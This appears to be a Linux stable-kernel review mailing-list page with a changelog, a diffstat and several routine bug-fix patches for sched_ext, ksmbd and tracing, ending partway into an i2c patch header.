gpiolib: fix memory leak in gpiod_set_array_value_complex() on error paths
Joas Antonio dos Santos <joasantonio108@gmail.com>
calipso: keep BIG TCP payload_len in calipso_skbuff_setattr()
Nicolai Buchwitz <nb@tipi-net.de>
net: bcmgenet: unshare the skb before writing the control block
David Yang <mmyangfl@gmail.com>
net: ti: icssm-prueth: Move setting of netops to fix crash
David Yang <mmyangfl@gmail.com>
net: ethernet: aeroflex: move setting of netops to fix crash
David Yang <mmyangfl@gmail.com>
net: ethoc: move setting of netops to fix crash
David Yang <mmyangfl@gmail.com>
net: au1000: move setting of netops to fix crash
David Yang <mmyangfl@gmail.com>
net: mv643xx: move setting of netops to fix crash
David Yang <mmyangfl@gmail.com>
net: ethernet: actions: Move setting of netops to fix crash
David Yang <mmyangfl@gmail.com>
net: hisilicon: hip04_eth: Move setting of netops to fix crash
David Yang <mmyangfl@gmail.com>
net: hisilicon: hisi_femac: Move setting of netops to fix crash
Kyle Zeng <kylebot@openai.com>
netlink: avoid hashing the network namespace pointer
Xingui Yang <yangxingui@huawei.com>
scsi: libsas: Fix SMP IO deadlock during HA resume
Martin Kaiser <martin@kaiser.cx>
tracing: probes: error if BTF is required but unavailable
Vincent Donnefort <vdonnefort@google.com>
ring-buffer: Skip si_mem_available() for persistent and remote buffers
Vincent Donnefort <vdonnefort@google.com>
tracing: Fix simple_ring_buffer undef check on sparc64
Vincent Donnefort <vdonnefort@google.com>
tracing: Fix simple_ring_buffer undef check on parisc
Vincent Donnefort <vdonnefort@google.com>
tracing: Fix empty symbol names in simple_ring_buffer undef check
Christian Brauner <brauner@kernel.org>
fs: let idle threads share init_fs
Christian Brauner <brauner@kernel.org>
fs: pass flags to copy_fs()
Christian Brauner <brauner@kernel.org>
fs: add umh argument to struct kernel_clone_args
Christian Brauner <brauner@kernel.org>
fs: make userspace_init_fs a dynamically-initialized pointer
Christian Brauner <brauner@kernel.org>
fs: add real_fs to track task's actual fs_struct
Christian Brauner <brauner@kernel.org>
fs: add scoped_with_init_fs()
Christian Brauner <brauner@kernel.org>
fs: notice when init abandons fs sharing
Christian Brauner <brauner@kernel.org>
fs: add switch_fs_struct()
Kyle Zeng <kylebot@openai.com>
pipe: preserve existing fasync readers on writer setup failure
Nickolai Zeldovich <nickolai@csail.mit.edu>
exit: fix lost-update race on the child_subreaper bitfields
Sasha Levin <sashal@kernel.org>
samples: pidfd: fix userprogs typo
Cen Zhang <zzzccc427@gmail.com>
ocfs2/dlm: Protect the recovery list during debugfs reads
Erik Faye-Lund <erik.faye-lund@arm.com>
drm/panthor: fix immortalis condition
Jason Gunthorpe <jgg@ziepe.ca>
iommupt/kunit: Use if_changed_rule for the kunit
Mikhail Gavrilov <mikhail.v.gavrilov@gmail.com>
entry: Account the deferred hrtimer rearm as hardirq context for lockdep
K Prateek Nayak <kprateek.nayak@amd.com>
sched/core: Call wakeup_preempt() for queued tasks during class change
Linfeng Sun <linfeng.sun.dev@gmail.com>
scsi: target: iscsi: Fix race in discovery auth updates
Yu Zhang <yuz08559@gmail.com>
scsi: target: Disable interrupts while holding delayed_cmd_lock
Laurence Oberman <loberman@redhat.com>
scsi: st: Save the visited block for the partition the drive is in
Keith Busch <kbusch@kernel.org>
nios2: fix __wsum type degradation in csum_fold()
Carlos Jones Jr <carlosjr.jones@analog.com>
spi: tegra114: assert CS GPIO for every transfer in a message
Bommu Krishnaiah <krishnaiah.bommu@intel.com>
drm/xe/oa: Zero OA buffer at allocation
Niranjana Vishwanathapura <niranjana.vishwanathapura@intel.com>
drm/xe: skip eviction of a BO with no resource
Mario Limonciello <mario.limonciello@amd.com>
ASoC: amd: yc: disable MSI on resume
Alexandre Cassen <acassen@corp.free.fr>
net/mlx5: HWS, fix flow meter offset within its bulk
Alexandre Cassen <acassen@corp.free.fr>
net/mlx5: HWS, release L2 to L3 tunnel reformats to their own pool
Guangshuo Li <lgs201920130244@gmail.com>
accel/rocket: clear rdev on device init failure
Kyle Zeng <kylebot@openai.com>
netlink: reset skb headers before unicast and multicast filtering
Michael Reeves <michael.reeves077@gmail.com>
regmap: Drop map lock during cache init and exit
HyeongJun An <sammiee5311@gmail.com>
ASoC: nau8822: Fix the 128x oversampling switch bits
HyeongJun An <sammiee5311@gmail.com>
ASoC: wm8978: Fix the 128x oversampling switch bits
HyeongJun An <sammiee5311@gmail.com>
ASoC: max98371: Fix the Speaker DHT Min Volume bits
HyeongJun An <sammiee5311@gmail.com>
ASoC: pcm3168a: Fix the DAC zero flag polarity bit
HyeongJun An <sammiee5311@gmail.com>
ASoC: cs42l52: Fix the NG Type Switch bit
HyeongJun An <sammiee5311@gmail.com>
ASoC: cs42l56: Put the Limiter Cushion control on the limiter register
Avi Weiss <thnkslprpt@gmail.com>
ASoC: stm32: spdifrx: fix synchronization state check
Sergey Tiraspolsky <stiraspo@gmail.com>
ASoC: Intel: avs: Reset the stream unless it is already prepared
Liam R. Howlett <liam@infradead.org>
accel/amdxdna: Fix Kconfig invalid configuration
Allison Henderson <achender@kernel.org>
net/rds: don't let the rdma_cm destroy an id RDS still owns on route failure
Michal Luczaj <mhal@rbox.co>
vsock: treat TCP_CLOSING as once-established
Ming Yu <a0282524688@gmail.com>
gpio: nct6694: Mark the GPIO controller as sleeping
Dave Stevenson <dave.stevenson@raspberrypi.com>
drm/vc4: hdmi: Move packet RAM enable to PM runtime
Pablo Mazzini <pmazzini@gmail.com>
pinctrl: sunxi: dt: do not accumulate npins across probe attempts
Adriel Santos <adriel@adriel.eu>
pinctrl: qcom: ipq5018: replace gcc_plltest with pwm2 on gpio12
Alexey Charkov <alchark@flipper.net>
power: supply: core: prevent unregistering a power supply while a callback runs
Svyatoslav Ryhel <clamor95@gmail.com>
power: supply: generic-adc-battery: Fix temperature IIO channel conversion
Len Brown <len.brown@intel.com>
tools/power turbostat: Fix add_counter issue if > 24 counters.
Len Brown <len.brown@intel.com>
tools/power turbostat: Fix PMT error path fd handling
Len Brown <len.brown@intel.com>
tools/power turbostat: Fix CWF PMT off-by-one
Len Brown <len.brown@intel.com>
tools/power turbostat: Fix fd_perf leak on reset
Len Brown <len.brown@intel.com>
tools/power turbostat: Warn, but don't Err on out-dated perf systems
Shawn Guo <shengchao.guo@oss.qualcomm.com>
pinctrl: qcom: spmi-gpio: make direction changes exclusive
Gilberto Conde <gilbertorconde@gmail.com>
pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13
Pengpeng Hou <pengpeng@iscas.ac.cn>
ARM: configs: sama5: enable current Microchip KSZ DSA symbols
Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
pinctrl: qcom: qcs8300: Fix intr_target_width
Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
pinctrl: qcom: hawi: Fix intr_target_width
Zhangfei Gao <zhangfei.gao@oss.qualcomm.com>
pinctrl: qcom: nord: fix GPIO interrupt target width
Michael Kelley <mhkelley58@gmail.com>
Drivers: hv: Don't reset VMBus connection state on error/exit paths
Michael Kelley <mhkelley58@gmail.com>
x86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index()
Waiman Long <longman@redhat.com>
Drivers: hv: Avoid infinite retry loop in init_vp_index()
Jon Hunter <jonathanh@nvidia.com>
soc/tegra: pmc: Fix uninitialised clock rate
Xueqin Luo <luoxueqin@kylinos.cn>
power: supply: ds2780: Fix ds2780_get_capacity() returning raw value
Karl Mehltretter <kmehltretter@gmail.com>
power: supply: Fix maintenance charge table kernel-doc
David Oberhollenzer <david.oberhollenzer@sigma-star.at>
ARM: dts: ti/omap: dra7: fix PCIe PHY clock divider definition
Jinhui Guo <guojinhui.liam@bytedance.com>
soc/tegra: fuse: Add missing newline to APBMISC error message
Abel Vesa <abel.vesa@oss.qualcomm.com>
i2c: qcom-geni: Restore the source-clock selection policy
Gael Blivet <gael.blivet@gmail.com>
ksmbd: exempt FSCTL_PIPE_TRANSCEIVE from the generic file-id lookup
-------------
Diffstat:
Documentation/netlink/specs/conntrack.yaml | 21 +++-
Makefile | 4 +-
arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi | 2 +-
arch/arm/configs/sama5_defconfig | 4 +-
arch/nios2/include/asm/checksum.h | 2 +-
.../riscv/boot/dts/microchip/mpfs-beaglev-fire.dts | 18 ---
arch/s390/kernel/perf_pai.c | 25 +++-
arch/s390/pci/pci_sysfs.c | 3 +
arch/x86/events/intel/uncore_snbep.c | 5 +-
arch/x86/hyperv/hv_init.c | 3 +-
arch/x86/include/asm/insn.h | 2 +-
arch/x86/kernel/kvm.c | 32 +++++-
arch/x86/kvm/mmu.h | 16 ++-
arch/x86/kvm/mmu/paging_tmpl.h | 3 +-
arch/x86/kvm/svm/sev.c | 2 +-
arch/x86/kvm/vmx/nested.c | 4 +-
block/bsg-lib.c | 13 ++-
drivers/accel/amdxdna/Kconfig | 1 +
drivers/accel/rocket/rocket_device.c | 2 +
drivers/accel/rocket/rocket_device.h | 1 +
drivers/accel/rocket/rocket_drv.c | 7 +-
drivers/accel/rocket/rocket_job.c | 2 +-
drivers/base/regmap/regcache-maple.c | 9 +-
drivers/base/regmap/regcache.c | 6 -
drivers/firewire/core-transaction.c | 8 +-
drivers/gpio/gpio-mxc.c | 36 +++---
drivers/gpio/gpio-nct6694.c | 2 +-
drivers/gpio/gpiolib-shared.c | 19 +++-
drivers/gpio/gpiolib.c | 9 +-
drivers/gpu/drm/amd/amdgpu/amdgpu_bo_list.c | 3 +-
drivers/gpu/drm/amd/amdgpu/amdgpu_bo_list.h | 4 -
drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 22 ++--
drivers/gpu/drm/amd/amdgpu/amdgpu_debugfs.c | 23 +---
drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c | 17 ++-
drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 7 +-
drivers/gpu/drm/amd/amdgpu/amdgpu_userq.c | 13 ++-
drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c | 25 +++-
drivers/gpu/drm/amd/amdgpu/uvd_v3_1.c | 2 +-
drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 2 +-
drivers/gpu/drm/amd/display/dc/link/link_dpms.c | 18 ++-
.../gpu/drm/amd/pm/swsmu/smu14/smu_v14_0_2_ppt.c | 55 ++++++++-
drivers/gpu/drm/drm_exec.c | 77 +++++++------
drivers/gpu/drm/i915/display/intel_cx0_phy.c | 12 +-
drivers/gpu/drm/i915/display/intel_dmc.c | 76 ++++++++++++-
drivers/gpu/drm/i915/display/intel_dmc_regs.h | 12 ++
drivers/gpu/drm/panthor/panthor_hw.c | 2 +-
drivers/gpu/drm/vc4/vc4_hdmi.c | 20 ++--
drivers/gpu/drm/xe/xe_bo.c | 11 +-
drivers/gpu/drm/xe/xe_exec.c | 7 +-
drivers/gpu/drm/xe/xe_oa.c | 7 ++
drivers/gpu/drm/xe/xe_vm.c | 31 ++++-
drivers/gpu/drm/xe/xe_vm.h | 2 +
drivers/hv/channel_mgmt.c | 12 +-
drivers/hv/connection.c | 1 -
drivers/hv/mshv_vtl_main.c | 3 +
drivers/hv/vmbus_drv.c | 1 -
drivers/i2c/busses/i2c-qcom-cci.c | 4 +-
drivers/i2c/busses/i2c-qcom-geni.c | 37 +++---
drivers/i2c/busses/i2c-viai2c-wmt.c | 2 +-
drivers/i2c/busses/i2c-xiic.c | 49 ++++++--
drivers/iommu/generic_pt/fmt/Makefile | 2 +-
drivers/md/dm-cache-target.c | 59 +++++-----
drivers/md/dm-crypt.c | 3 +-
drivers/md/dm-ebs-target.c | 3 +-
drivers/md/dm-integrity.c | 6 +-
drivers/net/ethernet/actions/owl-emac.c | 3 +-
drivers/net/ethernet/aeroflex/greth.c | 3 +-
drivers/net/ethernet/amd/au1000_eth.c | 3 +-
drivers/net/ethernet/broadcom/genet/bcmgenet.c | 10 ++
drivers/net/ethernet/ethoc.c | 3 +-
drivers/net/ethernet/hisilicon/hip04_eth.c | 3 +-
drivers/net/ethernet/hisilicon/hisi_femac.c | 3 +-
drivers/net/ethernet/marvell/mv643xx_eth.c | 4 +-
.../mellanox/mlx5/core/steering/hws/fs_hws.c | 5 +-
.../net/ethernet/stmicro/stmmac/dwmac1000_core.c | 6 +
drivers/net/ethernet/ti/icssm/icssm_prueth.c | 3 +-
drivers/net/ntb_netdev.c | 47 +++++---
drivers/net/wireless/intersil/p54/fwio.c | 42 ++++++-
drivers/pci/pci.c | 15 ++-
drivers/pci/quirks.c | 12 ++
drivers/pinctrl/pinctrl-amd.c | 9 ++
drivers/pinctrl/qcom/pinctrl-hawi.c | 1 +
drivers/pinctrl/qcom/pinctrl-ipq5018.c | 10 +-
drivers/pinctrl/qcom/pinctrl-nord.c | 1 +
drivers/pinctrl/qcom/pinctrl-qcs8300.c | 1 +
drivers/pinctrl/qcom/pinctrl-spmi-gpio.c | 37 ++++--
drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c | 1 +
drivers/power/sequencing/pwrseq-qcom-wcn.c | 16 +--
drivers/power/supply/ds2780_battery.c | 2 +-
drivers/power/supply/generic-adc-battery.c | 9 +-
drivers/power/supply/power_supply_core.c | 26 ++++-
drivers/s390/net/ctcm_mpc.c | 3 +-
drivers/scsi/libiscsi.c | 14 ++-
drivers/scsi/libsas/sas_expander.c | 14 ++-
drivers/scsi/mpi3mr/mpi3mr_app.c | 2 +-
drivers/scsi/scsi_transport_fc.c | 6 +-
drivers/scsi/scsi_transport_iscsi.c | 2 +-
drivers/scsi/scsi_transport_sas.c | 6 +-
drivers/scsi/st.c | 18 ++-
drivers/scsi/xen-scsifront.c | 1 +
drivers/soc/tegra/fuse/tegra-apbmisc.c | 2 +-
drivers/soc/tegra/pmc.c | 1 +
drivers/spi/spi-imx.c | 9 +-
drivers/spi/spi-tegra114.c | 7 ++
drivers/target/iscsi/iscsi_target_configfs.c | 26 +++--
drivers/target/target_core_transport.c | 8 +-
drivers/ufs/core/ufs_bsg.c | 2 +-
fs/9p/v9fs.h | 1 +
fs/9p/vfs_super.c | 4 +-
fs/afs/internal.h | 2 +
fs/afs/super.c | 2 +-
fs/autofs/waitq.c | 25 +++-
fs/ext4/ext4.h | 2 +
fs/ext4/extents-test.c | 2 +
fs/ext4/extents.c | 1 +
fs/ext4/extents_status.c | 7 +-
fs/ext4/extents_status.h | 1 +
fs/ext4/super.c | 13 ++-
fs/fs_struct.c | 100 +++++++++++++++-
fs/namei.c | 3 +-
fs/namespace.c | 19 +++-
fs/notify/mark.c | 11 ++
fs/ntfs/attrib.c | 8 +-
fs/ntfs/bitmap.c | 8 +-
fs/ntfs/ea.c | 126 +++++++++++++++++----
fs/ntfs/file.c | 41 ++++---
fs/ntfs/super.c | 4 +-
fs/ntfs3/ntfs_fs.h | 1 +
fs/ntfs3/super.c | 33 ++++--
fs/ocfs2/dlm/dlmcommon.h | 2 +
fs/ocfs2/dlm/dlmdebug.c | 5 +-
fs/ocfs2/dlm/dlmrecovery.c | 2 +-
fs/pipe.c | 6 +-
fs/proc/array.c | 4 +-
fs/proc/base.c | 8 +-
fs/proc_namespace.c | 4 +-
fs/smb/client/cifssmb.c | 24 +++-
fs/smb/client/connect.c | 21 +++-
fs/smb/client/file.c | 38 ++++++-
fs/smb/client/smb2ops.c | 7 +-
fs/smb/server/smb2pdu.c | 6 +
fs/tracefs/event_inode.c | 10 +-
fs/unicode/utf8-core.c | 21 +++-
fs/xfs/libxfs/xfs_rtgroup.h | 6 +-
fs/xfs/libxfs/xfs_sb.c | 37 +++---
fs/xfs/xfs_aops.c | 3 +-
fs/xfs/xfs_fsmap.c | 2 +-
fs/xfs/xfs_ioctl.c | 2 +-
fs/xfs/xfs_iomap.c | 3 +-
fs/xfs/xfs_iops.c | 2 +-
include/drm/drm_exec.h | 15 ++-
include/linux/bsg-lib.h | 3 +-
include/linux/cgroup-defs.h | 5 +-
include/linux/fs_struct.h | 34 ++++++
include/linux/fsnotify_backend.h | 1 +
include/linux/futex.h | 19 ++--
include/linux/futex_types.h | 2 +
include/linux/init_task.h | 1 +
include/linux/irq-entry-common.h | 23 +++-
include/linux/maple_tree.h | 4 +
include/linux/power_supply.h | 16 ++-
include/linux/sched.h | 1 +
include/linux/sched/signal.h | 4 +-
include/linux/sched/task.h | 1 +
include/linux/sched/user.h | 8 +-
include/linux/unicode.h | 1 +
include/net/af_vsock.h | 3 +
init/init_task.c | 1 +
init/main.c | 3 +
io_uring/cancel.c | 7 +-
ipc/namespace.c | 2 +-
kernel/cgroup/cgroup.c | 6 +-
kernel/events/core.c | 33 +++---
kernel/exit.c | 2 +-
kernel/fork.c | 67 +++++++----
kernel/futex/core.c | 55 +++++----
kernel/irq/proc.c | 24 ++--
kernel/kcmp.c | 2 +-
kernel/pid_namespace.c | 2 +-
kernel/printk/printk.c | 2 +-
kernel/sched/core.c | 19 ++--
kernel/sched/ext/ext.c | 95 +++++++++++-----
kernel/sched/ext/idle.c | 50 ++++++--
kernel/sched/ext/internal.h | 5 +-
kernel/trace/Makefile | 5 +-
kernel/trace/ring_buffer.c | 60 +++++-----
kernel/trace/trace.c | 28 ++++-
kernel/trace/trace_events_filter.c | 9 +-
kernel/trace/trace_events_hist.c | 90 ++++++++-------
kernel/trace/trace_probe.c | 3 +-
kernel/trace/trace_snapshot.c | 5 +-
kernel/trace/undefsyms_base.c | 5 +-
kernel/umh.c | 6 +-
kernel/watch_queue.c | 11 +-
kernel/workqueue.c | 27 +++--
lib/crypto/arm64/poly1305-armv8.pl | 2 +-
lib/crypto/poly1305.c | 2 +-
net/bridge/br_multicast.c | 13 ++-
net/core/page_pool.c | 3 +-
net/core/sock.c | 3 +
net/ipv4/fib_semantics.c | 2 +-
net/ipv4/tcp.c | 18 ++-
net/ipv4/tcp_cong.c | 4 +-
net/ipv4/tcp_dctcp.c | 4 +-
net/ipv4/tcp_minisocks.c | 2 +-
net/ipv4/tcp_output.c | 2 +-
net/ipv6/calipso.c | 6 +-
net/iucv/af_iucv.c | 42 ++++---
net/mac802154/ieee802154_i.h | 7 +-
net/mac802154/main.c | 1 +
net/mac802154/scan.c | 51 ++++++---
net/netlink/af_netlink.c | 10 +-
net/rds/rdma_transport.c | 38 ++++++-
net/sched/act_api.c | 11 +-
net/sched/cls_flower.c | 5 +
net/sctp/inqueue.c | 6 +-
net/sctp/socket.c | 33 ++++--
net/tipc/node.c | 2 +
net/vmw_vsock/af_vsock.c | 49 ++++++--
net/vmw_vsock/virtio_transport_common.c | 3 +-
net/vmw_vsock/vmci_transport.c | 34 +++++-
samples/pidfd/Makefile | 2 +-
security/selinux/hooks.c | 36 ++----
sound/soc/amd/yc/pci-acp6x.c | 38 ++++++-
sound/soc/codecs/cs42l52.c | 2 +-
sound/soc/codecs/cs42l56.c | 2 +-
sound/soc/codecs/max98371.c | 2 +-
sound/soc/codecs/nau8822.c | 4 +-
sound/soc/codecs/pcm3168a.c | 2 +-
sound/soc/codecs/wm8978.c | 4 +-
sound/soc/intel/avs/pcm.c | 2 +-
sound/soc/sof/ipc4-topology.c | 9 +-
sound/soc/sof/sof-client.c | 6 +-
sound/soc/stm/stm32_spdifrx.c | 2 +-
tools/arch/x86/include/asm/insn.h | 2 +-
tools/bootconfig/main.c | 3 +-
tools/gpio/Makefile | 6 +
tools/power/x86/turbostat/turbostat.c | 74 +++++++-----
238 files changed, 2279 insertions(+), 949 deletions(-)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 166/193] sched_ext: idle: Respect task affinity in restricted CPU selection
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (164 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 165/193] drm/i915/dmc: Harden DMC firmware payload parsing Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 167/193] tracing: Fix ignored return value of resize_buffer_duplicate_size() Greg Kroah-Hartman
` (37 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Hui Su, Andrea Righi, Tejun Heo,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Hui Su <sh_def@163.com>
[ Upstream commit 6ac4544eff796666ce6fbcc4be8181c81dfccc85 ]
The restricted select_cpu kfunc path handles single-CPU and
migration-disabled tasks without going through scx_select_cpu_dfl().
It currently uses prev_cpu as the candidate, even though prev_cpu is only a
hint and may no longer be usable after an affinity change. With a
caller-provided @allowed mask, this can also return an idle CPU outside
p->cpus_ptr.
Derive the candidate from task state instead: use the sole CPU in
p->cpus_ptr for single-CPU tasks and task_cpu(p) for migration-disabled
tasks. Validate it against p->cpus_ptr and @allowed before claiming its
idle state.
Since the derived candidate may be on a different NUMA node from
prev_cpu, also preserve SCX_PICK_IDLE_IN_NODE by rejecting cross-node
candidates.
Perform all checks before scx_idle_test_and_clear_cpu(), as a successful
call consumes the CPU's idle bit.
Fixes: 683d2d0faba1 ("sched_ext: idle: Introduce scx_bpf_select_cpu_and()")
Cc: stable@vger.kernel.org
Signed-off-by: Hui Su <sh_def@163.com>
Reviewed-by: Andrea Righi <arighi@nvidia.com>
Signed-off-by: Tejun Heo <tj@kernel.org>
[ sashal: Adjusted declaration context to retain rq and rf for the existing task_rq_lock() locking. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/sched/ext_idle.c | 50 +++++++++++++++++++++++++++++++++++++-----------
1 file changed, 39 insertions(+), 11 deletions(-)
--- a/kernel/sched/ext_idle.c
+++ b/kernel/sched/ext_idle.c
@@ -889,12 +889,43 @@ static bool is_bpf_migration_disabled(co
return p->migration_disabled;
}
+static s32 select_cpu_restricted(struct task_struct *p, s32 prev_cpu,
+ const struct cpumask *allowed, u64 flags,
+ bool migration_disabled)
+{
+ s32 cpu;
+
+ if (migration_disabled)
+ cpu = task_cpu(p);
+ else
+ cpu = cpumask_first(p->cpus_ptr);
+
+ if (!cpumask_test_cpu(cpu, p->cpus_ptr))
+ return -EBUSY;
+
+ if (allowed && !cpumask_test_cpu(cpu, allowed))
+ return -EBUSY;
+
+ if (flags & SCX_PICK_IDLE_IN_NODE) {
+ int node = scx_cpu_node_if_enabled(prev_cpu);
+
+ if (scx_cpu_node_if_enabled(cpu) != node)
+ return -EBUSY;
+ }
+
+ if (!scx_idle_test_and_clear_cpu(cpu))
+ return -EBUSY;
+
+ return cpu;
+}
+
static s32 select_cpu_from_kfunc(struct scx_sched *sch, struct task_struct *p,
s32 prev_cpu, u64 wake_flags,
const struct cpumask *allowed, u64 flags)
{
struct rq *rq;
struct rq_flags rf;
+ bool migration_disabled;
s32 cpu;
if (!ops_cpu_valid(sch, prev_cpu, NULL))
@@ -928,20 +959,17 @@ static s32 select_cpu_from_kfunc(struct
/*
* This may also be called from ops.enqueue(), so we need to handle
- * per-CPU tasks as well. For these tasks, we can skip all idle CPU
- * selection optimizations and simply check whether the previously
- * used CPU is idle and within the allowed cpumask.
+ * per-CPU tasks as well. For these tasks, skip general idle CPU
+ * selection and validate the task's only usable CPU directly.
*/
- if (p->nr_cpus_allowed == 1 || is_bpf_migration_disabled(p)) {
- if (cpumask_test_cpu(prev_cpu, allowed ?: p->cpus_ptr) &&
- scx_idle_test_and_clear_cpu(prev_cpu))
- cpu = prev_cpu;
- else
- cpu = -EBUSY;
- } else {
+ migration_disabled = is_bpf_migration_disabled(p);
+
+ if (p->nr_cpus_allowed == 1 || migration_disabled)
+ cpu = select_cpu_restricted(p, prev_cpu, allowed, flags,
+ migration_disabled);
+ else
cpu = scx_select_cpu_dfl(p, prev_cpu, wake_flags,
allowed ?: p->cpus_ptr, flags);
- }
if (scx_kf_allowed_if_unlocked())
task_rq_unlock(rq, p, &rf);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 001/242] ksmbd: exempt FSCTL_PIPE_TRANSCEIVE from the generic file-id lookup
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 002/242] i2c: qcom-geni: Restore the source-clock selection policy Greg Kroah-Hartman
` (240 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Gael Blivet, ChenXiaoSong,
Namjae Jeon, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Gael Blivet <gael.blivet@gmail.com>
[ Upstream commit a3bcea7c819a6c69ca937a68631311711bf20e66 ]
smb2_ioctl() rejects FSCTL_PIPE_TRANSCEIVE with
STATUS_OBJECT_NAME_NOT_FOUND before fsctl_pipe_transceive() runs. RPC
pipe IDs live in sess->rpc_handle_list, a separate namespace from the
ksmbd_file table the generic ksmbd_lookup_fd_slow() gate searches, so
the lookup always misses.
Found while testing generic SMB browsing (Finder's "Connect to
Server"): every DCE/RPC bind over a named pipe (SRVSVC, WKSSVC, SAMR,
LSARPC) failed right after CREATE. Adding FSCTL_PIPE_TRANSCEIVE to the
same no_fileid_ioctl exemption as FSCTL_PIPE_WAIT fixes it, confirmed
by testing a build with and without the change.
Signed-off-by: Gael Blivet <gael.blivet@gmail.com>
Assisted-by: Claude:claude-sonnet-5
Tested-by: ChenXiaoSong <chenxiaosong@kylinos.cn>
Reviewed-by: ChenXiaoSong <chenxiaosong@kylinos.cn>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
fs/smb/server/smb2pdu.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/fs/smb/server/smb2pdu.c b/fs/smb/server/smb2pdu.c
index 5f82dcd9a0b55..7cc5ca6a12652 100644
--- a/fs/smb/server/smb2pdu.c
+++ b/fs/smb/server/smb2pdu.c
@@ -9634,6 +9634,7 @@ int smb2_ioctl(struct ksmbd_work *work)
case FSCTL_QUERY_NETWORK_INTERFACE_INFO:
case FSCTL_VALIDATE_NEGOTIATE_INFO:
case FSCTL_PIPE_WAIT:
+ case FSCTL_PIPE_TRANSCEIVE:
no_fileid_ioctl = true;
break;
default:
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 167/193] tracing: Fix ignored return value of resize_buffer_duplicate_size()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (165 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 166/193] sched_ext: idle: Respect task affinity in restricted CPU selection Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 168/193] tracing: Keep the predicate limit separate from program capacity Greg Kroah-Hartman
` (36 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Dmitry Kandybka, Steven Rostedt,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Dmitry Kandybka <d.kandybka@gmail.com>
[ Upstream commit 3110d09bb98e3ac66482a7b257548a1683ec6c1a ]
When tr->allocated_snapshot is true, resize_buffer_duplicate_size() is
called to update the snapshot buffer size. However, its return value was
not checked. In case of a failed resize this could lead next snapshot
being incomplete.
Add resize_buffer_duplicate_size() result check and return error if
resize fails.
Compile tested only.
Found by Linux Verification Center (linuxtesting.org) with SVACE.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260928152634.4354-1-d.kandybka@gmail.com
Fixes: 180e4e390978 ("tracing: Add snapshot refcount")
Signed-off-by: Dmitry Kandybka <d.kandybka@gmail.com>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
[ sashal: Adapted snapshot_buffer access to max_buffer in the existing snapshot handler. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
--- a/kernel/trace/trace.c
+++ b/kernel/trace/trace.c
@@ -7811,9 +7811,12 @@ tracing_snapshot_write(struct file *filp
if (iter->cpu_file != RING_BUFFER_ALL_CPUS)
return -EINVAL;
#endif
- if (tr->allocated_snapshot)
+ if (tr->allocated_snapshot) {
ret = resize_buffer_duplicate_size(&tr->max_buffer,
&tr->array_buffer, iter->cpu_file);
+ if (ret < 0)
+ return ret;
+ }
ret = tracing_arm_snapshot_locked(tr);
if (ret)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 002/242] i2c: qcom-geni: Restore the source-clock selection policy
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 001/242] ksmbd: exempt FSCTL_PIPE_TRANSCEIVE from the generic file-id lookup Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 003/242] soc/tegra: fuse: Add missing newline to APBMISC error message Greg Kroah-Hartman
` (239 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Abel Vesa, Hasty Heat,
Mitchell Augustin, Andi Shyti, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Abel Vesa <abel.vesa@oss.qualcomm.com>
